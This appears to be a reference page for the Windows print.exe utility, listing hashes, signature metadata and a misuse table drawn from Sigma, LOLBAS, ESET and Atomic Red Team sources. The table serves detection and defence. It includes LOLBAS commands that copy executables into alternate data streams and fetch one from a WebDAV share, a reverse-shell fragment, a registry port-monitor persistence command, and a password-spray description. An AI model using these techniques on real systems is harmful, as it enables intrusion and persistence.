print.exe
- File Path:
C:\WINDOWS\SysWOW64\print.exe - Description: Print Utility
Hashes
| Type | Hash |
|---|---|
| MD5 | 5E725A5CB5FFDEE7557B57DCA71D8A13 |
| SHA1 | 5D613386D49B39B37212C52BAE0E7A5CB11714B8 |
| SHA256 | DFA124AE202A2A3F758CD4B9FDB5EEB2EEAEE0F7827FE81675524DA93176E7E8 |
| SHA384 | 58F2C30AED7A93FBDC40BBBB960BE265B1A7BFB7A57EB1F4EC0787E74E74242EEED007AC5EA7FC185E318334825D0498 |
| SHA512 | 3E7BEC0462FC5C5661911BDD95BD1175DD72527C91832276F2D4C79E884CBDE8F16730780C842DAD6AF2C1D0374E3D3C0AAE609B1DE485FEB74436B823A1BA47 |
| SSDEEP | 192:R6/s6GrBaX6BWOaFZZyftKlcG1jv/kecPliZLliVYgabSgBk1WMUWen:4/3sBaXMN6nkeWloLlYaK1WMUWk |
| IMP | EC8AF21EA60135BB82EBEBEAF1752064 |
| PESHA1 | 8B82BD59D8E3AA41454ACA04A5310A491A9C4FC2 |
| PE256 | 82038B8BF7525FC3643BFBB6DAD42D7CCF5DC640A0FDE9EB2D15E618115E898C |
Runtime Data
Usage (stdout):
Prints a text file.
PRINT [/D:device] [[drive:][path]filename[...]]
/D:device Specifies a print device.
Loaded Modules:
| Path |
|---|
| C:\WINDOWS\SYSTEM32\ntdll.dll |
| C:\WINDOWS\System32\wow64.dll |
| C:\WINDOWS\System32\wow64base.dll |
| C:\WINDOWS\System32\wow64con.dll |
| C:\WINDOWS\System32\wow64cpu.dll |
| C:\WINDOWS\System32\wow64win.dll |
| C:\WINDOWS\SysWOW64\print.exe |
Signature
- Status: Signature verified.
- Serial:
33000002ED2C45E4C145CF48440000000002ED - Thumbprint:
312860D2047EB81F8F58C29FF19ECDB4C634CF6A - Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
File Metadata
- Original Filename: Print.Exe
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 10.0.22000.1 (WinBuild.160101.0800)
- Product Version: 10.0.22000.1
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
- Machine Type: 32-bit
File Scan
- VirusTotal Detections: 0/73
- VirusTotal Link: https://www.virustotal.com/gui/file/dfa124ae202a2a3f758cd4b9fdb5eeb2eeaee0f7827fe81675524da93176e7e8/detection
Possible Misuse
The following table contains possible examples of print.exe being misused. While print.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | av_printernightmare_cve_2021_34527.yml | description: Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 . |
DRL 1.0 |
| sigma | lnx_shell_susp_rev_shells.yml | - ';while(cmd=c.gets);IO.popen(cmd,"r"){\|io\|c.print' |
DRL 1.0 |
| sigma | zeek_dce_rpc_printnightmare_print_driver_install.yml | title: Possible PrintNightmare Print Driver Install |
DRL 1.0 |
| sigma | zeek_dce_rpc_printnightmare_print_driver_install.yml | Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). |
DRL 1.0 |
| sigma | zeek_dce_rpc_printnightmare_print_driver_install.yml | The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy. |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler.yml | title: Possible CVE-2021-1675 Print Spooler Exploitation |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler.yml | description: Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675 |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler.yml | - 'The print spooler failed to load a plug-in module' |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler_operational.yml | title: CVE-2021-1675 Print Spooler Exploitation |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler_operational.yml | description: Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler_security.yml | title: CVE-2021-1675 Print Spooler Exploitation IPC Access |
DRL 1.0 |
| sigma | win_exploit_cve_2021_1675_printspooler_security.yml | description: Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527 |
DRL 1.0 |
| sigma | file_event_win_cve_2021_1675_printspooler.yml | title: CVE-2021-1675 Print Spooler Exploitation Filename Pattern |
DRL 1.0 |
| sigma | file_event_win_cve_2021_1675_printspooler.yml | description: Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675 |
DRL 1.0 |
| sigma | proc_creation_win_susp_print.yml | title: Abusing Print Executable |
DRL 1.0 |
| sigma | proc_creation_win_susp_print.yml | description: Attackers can use print.exe for remote file copy |
DRL 1.0 |
| sigma | proc_creation_win_susp_print.yml | - https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Print.yml |
DRL 1.0 |
| sigma | proc_creation_win_susp_print.yml | - \print.exe |
DRL 1.0 |
| sigma | proc_creation_win_susp_print.yml | - print |
DRL 1.0 |
| sigma | proc_creation_win_susp_print.yml | - print.exe |
DRL 1.0 |
| sigma | proc_creation_win_susp_spoolsv_child_processes.yml | description: Detects suspicious print spool service (spoolsv.exe) child processes. |
DRL 1.0 |
| sigma | proc_creation_win_susp_spoolsv_child_processes.yml | - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md |
DRL 1.0 |
| sigma | registry_event_add_port_monitor.yml | TargetObject\|startswith: 'HKLM\System\CurrentControlSet\Control\Print\Monitors\' |
DRL 1.0 |
| sigma | registry_event_add_port_monitor.yml | TargetObject\|contains: '\System\CurrentControlSet\Control\Print\Monitors\CutePDF Writer Monitor v4.0\Driver' |
DRL 1.0 |
| sigma | registry_event_asep_reg_keys_modification.yml | - '\Print\Providers' |
DRL 1.0 |
| sigma | registry_event_asep_reg_keys_modification.yml | - '\Print\Monitors' |
DRL 1.0 |
| sigma | registry_event_asep_reg_keys_modification_currentcontrolset.yml | - '\Print\Providers' |
DRL 1.0 |
| sigma | registry_event_asep_reg_keys_modification_currentcontrolset.yml | - '\Print\Monitors' |
DRL 1.0 |
| sigma | registry_event_asep_reg_keys_modification_currentcontrolset.yml | TargetObject\|contains: '\Print\Monitors\CutePDF Writer Monitor' |
DRL 1.0 |
| sigma | registry_event_mimikatz_printernightmare.yml | - '\Control\Print\Environments\Windows x64\Drivers\Version-3\QMS 810\' |
DRL 1.0 |
| sigma | registry_event_mimikatz_printernightmare.yml | - '\Control\Print\Environments\Windows x64\Drivers\Version-3\mimikatz' |
DRL 1.0 |
| sigma | registry_event_mimikatz_printernightmare.yml | - '\Control\Print\Environments\Windows' |
DRL 1.0 |
| sigma | registry_event_mimikatz_printernightmare.yml | - '\Control\Print\Environments' |
DRL 1.0 |
| sigma | registry_event_mimikatz_printernightmare.yml | - '\CurrentVersion\Print\Printers' |
DRL 1.0 |
| sigma | registry_event_susp_printer_driver.yml | - '\Control\Print\Environments\Windows x64\Drivers' |
DRL 1.0 |
| LOLBAS | Print.yml | Name: Print.exe |
|
| LOLBAS | Print.yml | - Command: print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe |
|
| LOLBAS | Print.yml | - Command: print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe |
|
| LOLBAS | Print.yml | - Command: print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe |
|
| LOLBAS | Print.yml | - Path: C:\Windows\System32\print.exe |
|
| LOLBAS | Print.yml | - Path: C:\Windows\SysWOW64\print.exe |
|
| LOLBAS | Print.yml | - IOC: Print.exe retrieving files from internet |
|
| LOLBAS | Print.yml | - IOC: Print.exe creating executable files on disk |
|
| LOLBAS | Mshtml.yml | Description: Invoke an HTML Application via mshta.exe (Note - Pops a security warning and a print dialogue box). |
|
| malware-ioc | deprimon | https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/[WeLiveSecurity]. |
© ESET 2014-2018 |
| malware-ioc | deprimon | [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\Windows Default Print Monitor] |
© ESET 2014-2018 |
| malware-ioc | nouns.txt | print |
© ESET 2014-2018 |
| malware-ioc | mumblehard | under the Perl interpreter. The following command ran as root will print the |
© ESET 2014-2018 |
| malware-ioc | mumblehard | ps -ef \| grep -e ' httpd$' -e ' mail$' -e ' init$' \| awk '{print $2}' \| xargs -I '{}' ls -l '/proc/{}/exe' \| grep perl \| cut -d/ -f 3 |
© ESET 2014-2018 |
| malware-ioc | 2020_Q4 | HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\BcastDVRUserService_6d67d\Driver |
© ESET 2014-2018 |
| malware-ioc | 2020_Q4 | HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\BcastDVRUserService_3c628o\Driver |
© ESET 2014-2018 |
| malware-ioc | 2020_Q4 | HKLM\SOFTWARE\Microsoft\Print\Components\Spooler-PPC\{94E5H6D48A-P895-85E1-54DD-080636B11A03} |
© ESET 2014-2018 |
| malware-ioc | 2020_Q4 | HKLM\SOFTWARE\Microsoft\Print\Components\Spooler-PPC\{38C8D238Q-923C-D782-9B8J-829263CD85C9} |
© ESET 2014-2018 |
| malware-ioc | vf_ioc_linux_rakos.py | print("Suspected PID: {0:8s} {1:<16}:{2:>5} {3:<16}:{4:>5} {5:<15s} {6:>17s}/{7:<5d}\n".format(proto, saddr, sport, daddr, dport, state, task.comm, task.pid)) |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_str_ : "; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "$f : crypted, skip\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print $fc. "\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_ssh: \n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd1: '$sd[1]':'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc1: '$sc[1]':'$sc[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd1a: file:'$sd[4]'; hash:'$sd[15]'; cvs:'$sd[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd2: '$sd[1]':'$sd[2]':'$sd[3]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc4: '$sc[1]':'$sc[0]'\n" if @sc and f $sc[1]; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd4: '$sd[0]':'$sd[1]':'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd5: " . join( '\|', @sd ) . "\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd6: '$sd[2]':'$sd[0]'\nmod_sshc6: '$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd7: '$sd[0]':'$sd[4]'\nmod_sshc7: '$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd8: '$sd[1]':'$sd[2]'\nmod_sshc8: '$sc[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | if (@sd) { print "mod_sshd12: GET, no params"; ssh_ls() } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd14: hash:'$sd[3]':'$sd[4]':'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc14: hash:'$sd[3]':'$sd[4]':'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | else { print "mod_sshd14: unknown hash; fpass:'$sd[1]';'$sd[3]'\n" } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod14p: $d\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd15: '$sd[0]':'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc15: '$sc[38]':'$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd16: '$sd[0]':'$sd[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc16: '$sc[1]':'$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd17: crypt:'$sd[2]':'$sd[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc17: '$sc[0]':'$sc[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd17: client_string:'$q[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd18: md5:'$sd[3]':'$sd[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc18: md5:'$sc[3]':'$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd19: '$sd[0]':'$sd[1]' url:'$sd[5] '$sd[4]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd20: '$sd[0]':'$sd[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc20: '$sc[0]':'$sc[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd21: '$sd[0]' mod_sshc21: '$sc[0]':'$sc[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc22: '$sd[0]':'$sd[1]':'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd23: '$sd[2]':'$sd[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc23: '$sc[0]':'$sc[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd24: '$sd[0]':'$sd[17]':'$sd[18]:$sd[20]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc24: '$sc[1]':'$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd25: '$sd[2]':'$sd[0]' mod_sshc25: '$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd27: '$sd[0]':'$sd[2]':'$sd[1]'\nmod_sshc27: '$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd31: hash:'$sd[2]':'$sd[1]':'$sd[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd32: md5:'$sd1[0]:'$sd[0]':'$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd33: '$sd[0]':'$sd[1]':'$sc[0]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print $q. "\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd36: md5:'$sd[0]':'$sc[0]'; '$sd[1]':'$sc[1]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd37: md5:'$sd[0]'; '$sd[1]':'$sd[3]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | while (<$fn>) { chomp; print $_ ^ "\x14" x length $_ } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_ssh41_cstr: " . join( '\|', sort keys %ostr ) . "\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd41: '$sd[1]' '$sd[0]', crypted\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc41: '$sc[1]' '$sc[0]', crypted\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd42: detected; log_useragent:passwd_file:passwd\n" if @sd; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshc42: detected\n" if @sc; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd44: pass:'$sd[1]' '$sd[0]', '$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | if ( $sc[0] ) { print "mod_sshc44: '$sc[0]' '$sc[13]'\n"; ssh_ls( $sd[0] ) } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd45: pass:'$sd[1]' host:'$sd[0]', '$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | if ( $sc[0] ) { print "mod_sshc45: host:'$sc[0]' '$sc[1]'\n"; ssh_ls() } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd46: crypt:'$sc[1]' v1:'$sd[1]' v2:'$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_sshd47: pass:'$sd[0]' '$sd[1]', '$sd[2]'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | if (@sc) { print "mod_sshc47: host:'$sc[0]' '$sc[-1]'\n"; ssh_ls( $sc[0] ) } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | for (@sd) { print "mod_md5_sshd: '$_'\n" } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | for (@sc) { print "mod_md5_ssh: '$_'\n" } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_md5_static_ssl: $static_ssl\n" if $static_ssl; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_hack_strd: possible hacked, " . join( "\|", @sd ) . "\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_hack_strc: possible hacked, " . join( "\|", @sc ) . "\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | for (@sd) { print "mod_md5_sshd1: '$_'\n" } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_str_sshd_str: '" . join( "':'", keys %ostr ) . "'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | print "mod_str_sshd_str1: '" . join( "':'", keys %ostr ) . "'\n"; |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | if (@sd) { print "sshd_str: " . join( '\|', @sd ) . "\n" } |
© ESET 2014-2018 |
| malware-ioc | windigo_signatures.pl | if (@sc) { print "sshc_str: " . join( '\|', @sc ) . "\n" } |
© ESET 2014-2018 |
| malware-ioc | turla | ** ResultQueue::print``{:.highlight .language-cmhg} |
© ESET 2014-2018 |
| malware-ioc | turla | ** TaskQueue::print``{:.highlight .language-cmhg} |
© ESET 2014-2018 |
| malware-ioc | windigo | print the dynamic section of the ELF header. Anything NEEDED (type 1) other |
© ESET 2014-2018 |
| malware-ioc | windigo | OpenSSH version 6.7 or earlier. A clean server will print |
© ESET 2014-2018 |
| malware-ioc | windigo | to stderr but an infected server will only print the usage (note the missing |
© ESET 2014-2018 |
| malware-ioc | windigo | yields no output if one is not infected and would print a filename if one is. |
© ESET 2014-2018 |
| malware-ioc | windigo | ps -ef \| grep crond \| grep -v grep \| awk '{print $2}' |
© ESET 2014-2018 |
| malware-ioc | winnti_group | HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll” |
© ESET 2014-2018 |
| malware-ioc | winnti_group | HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\lltdsvc1\Driver = “EntAppsvc.dll” |
© ESET 2014-2018 |
| malware-ioc | winnti_group | HKLM\SOFTWARE\Microsoft\Print\Components\DC20FD7E-4B1B-4B88-8172-61F0BED7D9E8 |
© ESET 2014-2018 |
| malware-ioc | winnti_group | HKLM\SOFTWARE\Microsoft\Print\Components\A66F35-4164-45FF-9CB4-69ACAA10E52D |
© ESET 2014-2018 |
| atomic-red-team | index.md | - T1547.012 Print Processors CONTRIBUTE A TEST | MIT License. © 2018 Red Canary |
| atomic-red-team | index.md | - Atomic Test #4: Simulate BlackByte Ransomware Print Bombing [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-index.md | - T1547.012 Print Processors CONTRIBUTE A TEST | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-index.md | - Atomic Test #4: Simulate BlackByte Ransomware Print Bombing [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | matrix.md | | | | Outlook Forms CONTRIBUTE A TEST | Print Processors CONTRIBUTE A TEST | Impair Defenses CONTRIBUTE A TEST | | | | | | | | | MIT License. © 2018 Red Canary |
| atomic-red-team | matrix.md | | | | Print Processors CONTRIBUTE A TEST | Services File Permissions Weakness CONTRIBUTE A TEST | Masquerade Task or Service | | | | | | | | | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-matrix.md | | | | Password Filter DLL | Print Processors CONTRIBUTE A TEST | Indicator Removal from Tools CONTRIBUTE A TEST | | | | | | | | | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-matrix.md | | | | Print Processors CONTRIBUTE A TEST | Security Support Provider | Mark-of-the-Web Bypass | | | | | | | | | MIT License. © 2018 Red Canary |
| atomic-red-team | T1016.md | if [ -x “$(command -v netstat)” ]; then netstat -ant | awk ‘{print $NF}’ | grep -v ‘[a-z]’ | sort | uniq -c; else echo “netstat is missing from the machine. skipping…”; fi; | MIT License. © 2018 Red Canary |
| atomic-red-team | T1018.md | Upon successful execution, cmd.exe will execute net.exe view and display results of local systems on the network that have file and print sharing enabled. |
MIT License. © 2018 Red Canary |
| atomic-red-team | T1018.md | adidnsdump -u #{user_name} -p #{acct_pass} –print-zones #{host_name} | MIT License. © 2018 Red Canary |
| atomic-red-team | T1027.004.md | Upon execution, the exe will print ‘T1027.004 Dynamic Compile’. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1036.006.md | 1. echo ‘#!/bin/bash\necho “print "hello, world!"” | /usr/bin/python\nexit’ > execute.txt && chmod +x execute.txt | MIT License. © 2018 Red Canary |
| atomic-red-team | T1059.003.md | - Atomic Test #4 - Simulate BlackByte Ransomware Print Bombing | MIT License. © 2018 Red Canary |
| atomic-red-team | T1059.003.md | ## Atomic Test #4 - Simulate BlackByte Ransomware Print Bombing | MIT License. © 2018 Red Canary |
| atomic-red-team | T1059.003.md | It is designed to mimic BlackByte ransomware’s print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1059.003.md | | max_to_print | The maximum number of Wordpad windows the test will open/print. | String | 75| | MIT License. © 2018 Red Canary |
| atomic-red-team | T1059.003.md | ##### Description: File to print must exist on disk at specified location (#{file_to_print}) | MIT License. © 2018 Red Canary |
| atomic-red-team | T1082.md | in order simply print the recon results to the screen as opposed to exfiltrating them. Script. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1083.md | cd $HOME && find . -print | sed -e ‘s;[^/]*/;|;g;s;|; |;g’ > #{output_file} | MIT License. © 2018 Red Canary |
| atomic-red-team | T1110.003.md | This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like “[*] username:password”, whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1127.001.md | Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print “Hello From a Code Fragment” and “Hello From a Class.” to the screen. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1127.001.md | Executes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print “Hello from a Visual Basic inline task!” to the screen. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | | message | Message to print to the screen | String | Hello from Atomic Red Team test T1140!| | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | ENCODED=$(python3 -c ‘import base64;enc=base64.b64encode(“#{message}”.encode());print(enc.decode())’) | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | python3 -c “import base64;dec=base64.b64decode("$ENCODED");print(dec.decode())” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | python3 -c “import base64 as d;dec=d.b64decode("$ENCODED");print(dec.decode())” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | python3 -c “from base64 import b64decode;dec=b64decode("$ENCODED");print(dec.decode())” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | python3 -c “from base64 import b64decode as d;dec=d("$ENCODED");print(dec.decode())” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | echo $ENCODED | python3 -c “import base64,sys;dec=base64.b64decode(sys.stdin.read());print(dec.decode())” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | echo $ENCODED > #{encoded_file} && python3 -c “import base64;dec=base64.b64decode(open(‘#{encoded_file}’).read());print(dec.decode())” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | ENCODED=$(perl -e “use MIME::Base64;print(encode_base64(‘#{message}’));”) | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | perl -le “use MIME::Base64;print(decode_base64(‘$ENCODED’));” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | echo $ENCODED | perl -le ‘use MIME::Base64;print(decode_base64( |
MIT License. © 2018 Red Canary |
| atomic-red-team | T1140.md | echo $ENCODED > #{encoded_file} && perl -le ‘use MIME::Base64;open($f,”<”,”#{encoded_file}”);print(decode_base64(<$f>));’ | MIT License. © 2018 Red Canary |
| atomic-red-team | T1485.md | dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk ‘{print $5}’) iflag=count_bytes | MIT License. © 2018 Red Canary |
| atomic-red-team | T1489.md | Stops a specified service using the net.exe command. Upon execution, if the service was running “The Print Spooler service was stopped successfully.” | MIT License. © 2018 Red Canary |
| atomic-red-team | T1489.md | will be displayed. If the service was not running, “The Print Spooler service is not started.” will be displayed and it can be | MIT License. © 2018 Red Canary |
| atomic-red-team | T1518.md | /usr/libexec/PlistBuddy -c “print :CFBundleShortVersionString” /Applications/Safari.app/Contents/Info.plist | MIT License. © 2018 Red Canary |
| atomic-red-team | T1518.md | /usr/libexec/PlistBuddy -c “print :CFBundleVersion” /Applications/Safari.app/Contents/Info.plist | MIT License. © 2018 Red Canary |
| atomic-red-team | T1546.001.md | * HKEY_CLASSES_ROOT\txtfile\shell\print\command |
MIT License. © 2018 Red Canary |
| atomic-red-team | T1547.010.md | <blockquote>Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. |
MIT License. © 2018 Red Canary |
| atomic-red-team | T1547.010.md | reg add “hklm\system\currentcontrolset\control\print\monitors\ART” /v “Atomic Red Team” /d “#{monitor_dll}” /t REG_SZ | MIT License. © 2018 Red Canary |
| atomic-red-team | T1547.010.md | reg delete “hklm\system\currentcontrolset\control\print\monitors\ART” /f >nul 2>&1 | MIT License. © 2018 Red Canary |
| atomic-red-team | T1562.004.md | Print the last 10 lines of the Uncomplicated Firewall (UFW) log file | MIT License. © 2018 Red Canary |
| atomic-red-team | T1564.004.md | print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe | MIT License. © 2018 Red Canary |
| signature-base | apt_backdoor_ssh_python.yar | $s1 = “print ‘[-] (Failed to load moduli – gex will be unsupported.)’” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_backdoor_ssh_python.yar | $s2 = “print ‘[-] Listen/bind/accept failed: ‘ + str(e)” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_backdoor_ssh_python.yar | $s4 = “print ‘[-] SSH negotiation failed.’” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $x2 = “print "Gimme hex: ";” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s3 = “print "$hex in decimal=$dec\n\n";” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s2 = “print "ERROR: the filename or hex representation needs to be one argument try using \"’s\n";” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s5 = “print hextoIP($ARGV[0]);” fullword ascii | CC BY-NC 4.0 |
| signature-base | apt_eqgrp.yar | $s2 = “print »out, "%s%04x " % (lead,i),” fullword ascii | CC BY-NC 4.0 |
